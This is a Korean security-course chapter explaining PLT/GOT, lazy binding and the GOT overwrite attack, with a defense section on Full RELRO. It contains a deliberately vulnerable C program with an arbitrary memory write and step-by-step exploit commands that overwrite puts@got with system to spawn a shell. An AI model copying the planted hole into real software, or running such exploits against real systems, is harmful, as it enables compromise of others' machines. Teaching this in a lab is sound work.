Step 210. GOT/PLT 구조 이해와 GOT overwrite — 함수 호출 가로채기

Step 210. GOT/PLT 구조 이해와 GOT overwrite — 함수 호출 가로채기

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★★ | 예상 소요 시간 6시간

전제: Step 209(pwnable.kr 완주, passcode 문제의 존재), Step 177(gdb 디스어셈블리 읽기). Step 62~65의 메모리 감각.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

  • 준비물: WSL 우분투(gcc, gdb), pwntools의 checksec. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39입니다.
  • 주의: 오늘 만드는 취약 바이너리(got_vuln)는 학습용으로 일부러 구멍을 뚫은 것입니다. 실습이 끝나면 지우거나 랩 안에만 두세요.

프로그램이 puts를 부를 때, 그 주소는 어디서 올까요? 컴파일 시점에는 모릅니다 — puts는 라이브러리(libc)에 있고, 라이브러리가 메모리 어디에 올라갈지는 실행 때 정해지니까요. 그래서 프로그램은 주소표(GOT)를 하나 두고, 첫 호출 때 주소를 찾아 적어 둡니다. 오늘의 공격은 단순합니다 — 그 주소표를 덮어쓰는 것. puts를 부르는 코드인데 system이 실행됩니다. Step 209의 passcode가 바로 이 공격이었습니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • PLT(점프대)와 GOT(주소표)의 역할과 지연 바인딩의 순서를 설명한다
  • gdb로 함수 첫 호출 전후의 GOT 값 변화를 직접 관찰한다
  • objdump -Rchecksec으로 바이너리의 GOT 구조와 RELRO 상태를 읽는다
  • 임의 주소 쓰기 프리미티브로 puts@gotsystem으로 덮어 흐름을 탈취한다
  • Partial RELRO와 Full RELRO의 차이를 공격 성공 여부와 연결해 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C + gdb 디스어셈블리 (실측: Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39)
오늘의 명령어 objdump -R ./바이너리, objdump -d -j .plt.sec, gdb의 x/gx 주소, p system, pwn checksec, setarch -R
필요한 개념 동적 링크, PLT/GOT, 지연 바인딩(lazy binding), 임의 주소 쓰기, RELRO
오늘의 산출물 지연 바인딩 관찰 기록 + GOT overwrite 성공 로그 + RELRO 비교 정리

2-1. 왜 주소표가 필요한가 — 동적 링크

printf, puts, system 같은 함수는 여러분의 바이너리 안에 없습니다. 공유 라이브러리 libc.so에 있고, 프로그램은 실행될 때 그 라이브러리와 동적 링크(dynamic linking) 됩니다. 문제는 ASLR 때문에 libc가 매번 다른 주소에 올라간다는 것 — 컴파일된 바이너리는 puts의 실제 주소를 모른 채 출발합니다.

그래서 두 개의 장치가 있습니다. PLT(Procedure Linkage Table) — "함수별 점프대". 코드는 언제나 puts@plt라는 고정 주소로 점프합니다. GOT(Global Offset Table) — "함수별 주소표". 점프대는 주소표에 적힌 주소로 다시 점프합니다. 코드는 고정, 주소표만 가변 — 이 한 겹의 간접화가 동적 링크의 전부입니다.

2-2. 지연 바인딩 — 첫 호출 때 주소를 찾는다

프로그램이 쓸지 말지도 모르는 수백 개 함수의 주소를 시작 때 전부 찾으면 느리니까, 기본 동작은 지연 바인딩(lazy binding) 입니다. 처음 GOT에는 "주소 찾아주는 사람(로더의 resolver)"으로 향하는 우회로가 적혀 있습니다. 첫 호출 때 resolver가 실제 주소를 찾아 GOT에 덮어 적고, 두 번째 호출부터는 GOT만 보고 곧장 갑니다. "처음 한 번만 물어보고, 그다음부터는 메모를 본다" — 오늘 이 메모가 찍히는 순간을 gdb로 목격합니다.

2-3. GOT overwrite — 주소표를 덮으면 호출이 가로채진다

여기가 공격 지점입니다. GOT는 실행 중에 써지는 표 — 즉 쓰기 권한이 있는 메모리입니다. 공격자가 "임의 주소에 값을 쓰는" 능력(Step 209 passcode의 scanf 버그, 또는 포맷 스트링 버그)을 얻으면, puts 칸에 system의 주소를 적어 넣을 수 있습니다. 이후 프로그램이 puts("/bin/sh")를 부르면 — 코드는 puts를 불렀는데, 실행되는 것은 system("/bin/sh"). 입니다.

2-4. RELRO — 주소표를 읽기 전용으로 잠그는 방어

이 공격의 대응책이 RELRO(RElocation Read-Only) 입니다. Partial RELRO(기본값)는 GOT 일부만 보호해 함수 주소표(.got.plt)는 쓸 수 있게 둡니다. Full RELRO는 시작 때 모든 주소를 미리 찾아(지연 바인딩 포기) GOT 전체를 읽기 전용으로 잠급니다 — 덮어쓰기 공격 자체가 세그폴트로 막힙니다. 오늘 checksec으로 두 상태를 구분하고, Full RELRO에서 공격이 어떻게 실패하는지까지 실측합니다.


3. 따라 하기

3-1. 관찰 대상 준비 — puts 두 번 부르는 프로그램

입력 (hello.c)

#include <stdio.h>
int main(void) {
    puts("첫 번째 호출");
    puts("두 번째 호출");
    return 0;
}
mkdir -p ~/lab209_213 && cd ~/lab209_213
gcc -no-pie -o hello hello.c
objdump -R ./hello
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000403fd8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

(2026-09-09 실측. -no-pie로 주소를 고정했습니다 — 숫자 읽기 연습용입니다.)

출력 읽는 법: 마지막 줄이 오늘의 주인공 — "puts의 주소표 칸은 0x404000이다"라는 배치표입니다. JUMP_SLOT은 "PLT가 점프할 때 읽는 칸"이라는 뜻입니다.

3-2. 점프대의 실물 — PLT 디스어셈블리

objdump -d -j .plt.sec ./hello
Disassembly of section .plt.sec:

0000000000401040 <puts@plt>:
  401040:	f3 0f 1e fa          	endbr64
  401044:	ff 25 b6 2f 00 00    	jmp    *0x2fb6(%rip)        # 404000 <puts@GLIBC_2.2.5>

(2026-09-09 실측.)

출력 읽는 법: puts@plt의 본체는 사실상 한 줄 — jmp *0x404000. "주소표 0x404000에 적힌 곳으로 점프하라"입니다. 코드(puts를 부르는 쪽)는 평생 이 점프대만 부르고, 실제 목적지는 전부 주소표에 위임돼 있습니다. 그래서 주소표를 덮으면 코드를 한 줄도 고치지 않고 호출을 가로챌 수 있습니다.

3-3. 지연 바인딩 목격 — 첫 호출 전후의 GOT

gdb로 0x404000 칸을 첫 호출 전과 후에 각각 열어 봅니다:

gdb -batch \
  -ex "break main" -ex "run" \
  -ex "x/gx 0x404000" \
  -ex "break *0x401157" -ex "continue" \
  -ex "x/gx 0x404000" \
  ./hello
Breakpoint 1, 0x000000000040113e in main ()
0x404000 <puts@got.plt>:	0x0000000000401030

Breakpoint 2, 0x0000000000401157 in main ()
0x404000 <puts@got.plt>:	0x00007ffff7c87cc0

(2026-09-09 실측. 0x401157은 main 안 두 번째 call puts@plt 직전 — 즉 첫 호출이 끝난 지점입니다. 디스어셈블리에서 확인한 주소입니다.)

출력 읽는 법:

  • 첫 호출 전: 0x401030 — libc가 아니라 바이너리 안의 주소입니다. 이곳은 PLT 뒤쪽의 "resolver로 가는 우회로"입니다. 아직 puts의 진짜 주소를 모른다는 뜻.
  • 첫 호출 후: 0x00007ffff7c87cc00x7fff...로 시작하는 libc 영역의 주소. resolver가 첫 호출 때 진짜 puts를 찾아 덮어 적은 것입니다.

후자가 진짜 puts인지 확인해 보면:

$1 = {int (const char *)} 0x7ffff7c87cc0 <__GI__IO_puts>

(2026-09-09 실측, gdb에서 p puts.) libc의 puts 그 자체입니다. 메모가 찍히는 순간을 봤습니다 — 이것이 지연 바인딩의 실체입니다.

3-4. 공격 — puts@got를 system으로 덮기

이제 취약 바이너리로 진짜 공격을 합니다. Step 209 passcode처럼 "주소와 값을 사용자가 정하는" 구멍을 일부러 만듭니다:

입력 (got_vuln.c)

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    unsigned long addr, value;
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("GOT overwrite 연습 바이너리");
    printf("덮을 주소(16진수): ");
    scanf("%lx", &addr);
    printf("덮을 값(16진수): ");
    scanf("%lx", &value);
    *(unsigned long *)addr = value;   /* 취약점: 임의 주소 쓰기 */
    puts("/bin/sh");                  /* puts@got가 system이면 쉘이 뜬다 */
    puts("이 줄이 보이면 덮기 실패");
    return 0;
}
gcc -no-pie -o got_vuln got_vuln.c

공격에 필요한 두 숫자 — puts의 GOT 칸 주소와 system의 실제 주소 — 를 찾습니다:

objdump -R ./got_vuln | grep puts     # → 0000000000404000 R_X86_64_JUMP_SLOT puts
gdb -batch -ex "break main" -ex run -ex "p system" ./got_vuln
$1 = {int (const char *)} 0x7ffff7c58750 <__libc_system>

(2026-09-09 실측. gdb는 기본으로 ASLR을 꺼서 이 주소가 고정됩니다. 공격 실행 때도 setarch -R로 ASLR을 꺼 같은 주소가 되게 합니다 — 실전에서는 주소를 leak으로 알아내지만, 오늘의 주제는 "덮는 구조"이니 ASLR은 잠시 꺼 둡니다.)

공격 실행:

printf "404000\n7ffff7c58750\necho GOT_HIJACKED_MARKER\nid -un\nexit\n" | setarch -R ./got_vuln
GOT overwrite 연습 바이너리
덮을 주소(16진수): 덮을 값(16진수): GOT_HIJACKED_MARKER
root
sh: 1: 이: not found

(2026-09-09 실측.)

출력 읽는 법: 세 가지 증거를 보세요.

  1. GOT_HIJACKED_MARKER — 우리가 보낸 echo 명령이 실행됐습니다. 쉘이 떴다는 뜻입니다.
  2. rootid -un의 출력. 진짜 쉘입니다.
  3. sh: 1: 이: not found — 이것이 결정적 증거입니다. exit로 쉘이 끝난 뒤 프로그램이 마지막 puts("이 줄이 보이면 덮기 실패")를 불렀는데, puts@got는 여전히 system이라 system("이 줄이 보이면 덮기 실패") 이 실행됐고, sh가 "이"라는 명령을 못 찾은 것입니다. "이 줄이 보이면"이라는 문자열 자체가 출력되지 않았음에 주의하세요 — puts는 완전히 사라지고 system만 남았습니다.

코드는 puts를 두 번 불렀지만, 실행된 것은 system 두 번. 주소표 한 칸의 덮어쓰기가 만든 결과입니다.

3-5. 방어 실측 — Full RELRO에서는?

같은 바이너리를 Full RELRO로 컴파일해 비교합니다:

gcc -no-pie -Wl,-z,now -o hello_full hello.c
pwn checksec ./hello_full | grep RELRO
    RELRO:      Full RELRO

(2026-09-09 실측. 참고로 3-1의 hello는 Partial RELRO였습니다. -Wl,-z,now가 "시작 때 전부 바인딩하고 잠가라"는 스위치입니다.)

main 시작 시점의 GOT를 보면:

0x403fe8 <puts@got.plt>:	0x00007ffff7c87cc0

(2026-09-09 실측.) 호출 전인데 벌써 진짜 주소가 들어 있습니다 — 지연 바인딩을 포기하고 시작 때 다 찾았기 때문입니다. 그리고 그 페이지의 권한:

0x403000           0x404000     0x1000     0x2000  r--p   /root/lab209_213/hello_full

r--p읽기 전용입니다. 이 상태에서 덮어쓰기를 시도하면:

gcc -no-pie -Wl,-z,now -o got_vuln_full got_vuln.c
printf "403fc8\n7ffff7c58750\n" | setarch -R ./got_vuln_full
GOT overwrite 연습 바이너리
덮을 주소(16진수): 덮을 값(16진수): Segmentation fault (core dumped)

(2026-09-09 실측.) 쓰기 시도 즉시 세그폴트. 공격이 기술이 아니라 권한에 막혔습니다. 그래서 실전 Pwn의 첫 단추가 checksec 읽기입니다 — RELRO 상태가 "GOT overwrite가 통하는가"를 미리 알려 줍니다.


4. 미션과 연습문제

미션 — printf@got 덮기

got_vuln.c를 변형해, 마지막 두 puts 대신 printf("%s\n", "/bin/sh");와 그 뒤 안내 printf 한 줄을 둔 got2.c를 만들고:

  1. objdump -R로 printf의 GOT 칸을 찾는다
  2. system 주소를 찾아 printf@got를 덮는다
  3. puts 때와 같은 증거(쉘 마커 실행)를 확보한다
  4. 노트에 정리한다: "PLT는 그대로인데 GOT 한 칸만 바뀌었다 — 코드가 아니라 표를 공격했다"

연습문제

문제 1. 3-3에서 첫 호출 전 GOT 값 0x401030은 왜 libc 주소가 아니라 바이너리 안의 주소였나요? 그 주소에 있는 것은 무엇인가요?

문제 2. 지연 바인딩은 프로그램 시작을 빠르게 하려는 최적화입니다. 그런데 왜 보안 관점에서는 "쓰기 가능한 GOT"라는 약점의 원인이 되나요?

문제 3. 3-4의 마지막에 sh: 1: 이: not found가 뜬 이유를 설명하세요. 왜 "이 줄이 보이면 덮기 실패"라는 문자열이 화면에 출력되지 않았나요?

문제 4. Full RELRO 바이너리에서 GOT overwrite가 실패하는 정확한 지점은 어디인가요? (힌트: 기술이 막힌 것이 아닙니다 — 무엇이 막았나요?)


5. 모범 답안과 완료 기준

미션 모범 답안

objdump -R ./got2 | grep printf로 printf의 GOT 칸을 찾고 (참고로 3-4의 got_vuln에서는 printf가 0x404010에 있었습니다 — 여러분의 got2에서는 순서가 달라질 수 있으니 반드시 다시 확인), gdb로 system 주소를 확인한 뒤:

printf "404010\n7ffff7c58750\necho PRINTF_HIJACKED\nexit\n" | setarch -R ./got2

PRINTF_HIJACKED가 뜨면 성공입니다. puts든 printf든 구조는 완전히 같습니다 — 점프대(PLT)는 한 줄의 jmp *주소표칸이고, 그 칸을 system으로 덮으면 인자 하나짜리 함수 호출은 전부 system이 됩니다. 이것이 passcode 문제가 fflush@got를 노린 이유이기도 합니다 — 소스 어디에 system 호출이 없어도, 주소표를 덮으면 만들어지니까요.

검증하는 법: ① 쉘 마커가 실행됐는가, ② 노트에 "공격 대상 = 데이터(GOT), 코드 아님"이 적혀 있는가.

연습문제 해답

문제 1 해답. 지연 바인딩 때문에 첫 호출 전에는 진짜 주소가 아직 없기 때문입니다. 0x401030에는 PLT 뒤쪽의 우회로 — 재배치 번호를 스택에 쌓고 로더의 resolver로 점프하는 코드 — 가 있습니다. 첫 호출이 resolver를 거치며 진짜 주소(0x7ffff7c87cc0)가 GOT에 기록됩니다.

문제 2 해답. 지연 바인딩은 실행 중에 GOT를 다시 써야 하므로, GOT 페이지에 쓰기 권한이 유지돼야 합니다. "실행 중 써지는 표"는 곧 "공격자도 쓸 수 있는 표"입니다. 최적화(늦게 찾기)가 권한(쓰기 허용)을 강제하고, 그 권한이 공격 표면이 되는 전형적인 트레이드오프입니다.

문제 3 해답. puts@got가 system으로 덮인 상태에서 puts("이 줄이 보이면 덮기 실패")가 불렸기 때문입니다. 점프대는 주소표만 보고 system으로 갔고, sh는 그 문자열을 명령어로 해석해 첫 단어 "이"를 찾다 실패한 것입니다. 문자열이 출력되지 않은 것 자체가 "puts가 사라졌다"는 증거입니다.

문제 4 해답. 메모리 권한입니다. Full RELRO는 시작 때 바인딩을 끝내고 GOT 페이지를 r--p(읽기 전용)로 잠급니다. 덮어쓰기를 시도하는 *(unsigned long *)addr = value가 실행되는 순간 운영체제가 쓰기 위반을 감지해 SIGSEGV를 보냅니다 — 실측에서도 그 지점에서 죽었습니다. 기술이 아니라 하드웨어 메모리 보호가 막은 것입니다.

완료 기준 체크리스트

  • [ ] PLT와 GOT의 역할(점프대/주소표)을 한 문장씩 설명할 수 있다
  • [ ] objdump -R에서 JUMP_SLOT 줄의 의미를 읽을 수 있다
  • [ ] gdb로 첫 호출 전후 GOT 값 변화(0x401030 → 0x7ffff7…)를 재현했다
  • [ ] 지연 바인딩의 순서(우회로 → resolver → 실제 주소 기록)를 설명할 수 있다
  • [ ] got_vuln에서 puts@got를 system으로 덮어 쉘을 띄웠다
  • [ ] Partial RELRO와 Full RELRO의 차이를 checksec 출력과 페이지 권한으로 설명할 수 있다
  • [ ] 미션: printf@got 덮기를 완료하고 노트를 정리했다

6. 흔한 실수와 해결

벽 1. 덮었는데 쉘이 아니라 세그폴트가 뜬다

증상: 주소와 값을 넣자마자 죽습니다.
원인: 둘 중 하나입니다 — ① GOT 칸 주소가 틀렸거나(어딘지 모를 곳에 씀), ② Full RELRO 바이너리에 시도한 경우. 후자는 실측에서 본 그대로 쓰기 위반 세그폴트입니다.
해결: objdump -R로 칸 주소를 다시 확인하고, pwn checksec ./바이너리로 RELRO 상태부터 보세요. Full RELRO면 GOT overwrite는 그 길이 아닙니다.

벽 2. system 주소가 매번 다르다

증상: 어제 찾은 주소가 오늘은 안 먹힙니다.
원인: ASLR입니다. gdb 바깥의 일반 실행은 libc가 매번 다른 곳에 올라갑니다.
해결: 오늘 실습은 setarch -R로 ASLR을 꺼서 구조에 집중했습니다. 실전에서는 바이너리의 다른 구멍으로 libc 주소를 먼저 leak(새어 나온 주소 읽기)하고, 오프셋을 계산해 system을 구합니다. leak은 Step 214의 종합 익스플로잇에서 만납니다.

벽 3. gdb 안과 밖에서 주소가 다르다

증상: gdb에서 본 system 주소로 덮었는데 쉘이 안 뜹니다.
원인: gdb는 기본으로 ASLR을 끄지만, 일반 실행은 켜져 있습니다 — 둘의 libc 베이스가 다릅니다.
해결: 실험 조건을 맞추세요 — 실행할 때도 setarch -R ./바이너리로 ASLR을 끄면 gdb에서 본 주소와 일치합니다 (오늘의 실측 방식).

벽 4. pwn checksec이 안 된다

증상: pwn 명령이 없다고 나옵니다.
원인: pwntools가 venv 안에만 설치돼 있는 경우입니다.
해결: source ~/venv/bin/activate(또는 여러분의 venv 경로) 후 pwn checksec을 쓰거나, venv 없이는 readelf -lW ./바이너리 | grep GNU_RELRO-z now 유무로 추정할 수 있습니다 — 단, checksec이 훨씬 편하니 venv 진입을 기본으로 하세요.

벽 5. 구조는 아는데 "왜 첫 호출 후부터만 덮기가 의미 있나"가 헷갈린다

증상: 첫 호출 전에 덮으면 어떻게 되는지 설명이 안 됩니다.
원인: 첫 호출 전에 GOT를 덮으면, 점프대는 resolver가 아니라 덮인 주소로 곧장 갑니다 — 그래서 사실 첫 호출 전에 덮어도 가로채기는 됩니다. resolver를 건너뛸 뿐입니다.
해결: 핵심은 시점이 아니라 "점프대가 주소표를 무조건 신뢰한다"는 것입니다. 그 신뢰가 공격의 뿌리입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
PLT 함수별 점프대 — 코드는 언제나 여기로만 점프한다
GOT 함수별 주소표 — 점프대가 실제 목적지를 읽는 표
지연 바인딩 첫 호출 때 resolver가 주소를 찾아 GOT에 기록하는 방식
GOT overwrite 주소표 칸을 system 등으로 덮어 호출을 가로채는 공격
임의 주소 쓰기 공격의 전제 조건 — passcode의 scanf 버그, 포맷 스트링 등
RELRO GOT를 읽기 전용으로 잠그는 방어 — Partial은 .got.plt를 열어 둠, Full은 전부 잠금

오늘의 명령어

명령 하는 일
objdump -R ./바이너리 GOT 칸 주소표(재배치 레코드) 보기
objdump -d -j .plt.sec ./바이너리 PLT 점프대 디스어셈블리
gdb x/gx 0x404000 GOT 칸의 현재 값 읽기
gdb p system 라이브러리 함수의 실제 주소 확인
pwn checksec ./바이너리 RELRO·카나리·NX·PIE 상태 한눈에
setarch -R ./바이너리 ASLR을 끄고 실행 (실험 조건 통일)

명령어보다 중요한 감각

오늘 공격은 코드를 한 줄도 고치지 않았습니다. 바꾼 것은 데이터 — 주소표 한 칸뿐입니다. "코드는 믿을 수 있지만 데이터는 공격자의 손이 닿는다"는 감각, 그리고 점프대가 주소표를 검증 없이 신뢰한다는 사실 — 이것이 GOT overwrite의 전부이자, 이후 모든 제어 흐름 공격(ROP까지)의 뿌리 감각입니다.

방어자의 시선으로는 반대가 보입니다. Full RELRO 한 스위치가 이 공격 전체를 세그폴트로 바꿔 놨습니다. 공격을 배우면 방어 스위치의 값어치가 보입니다 — checksec의 한 줄이 왜 중요한지, 오늘 손으로 확인했습니다.


전부 체크되면 Step 210 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.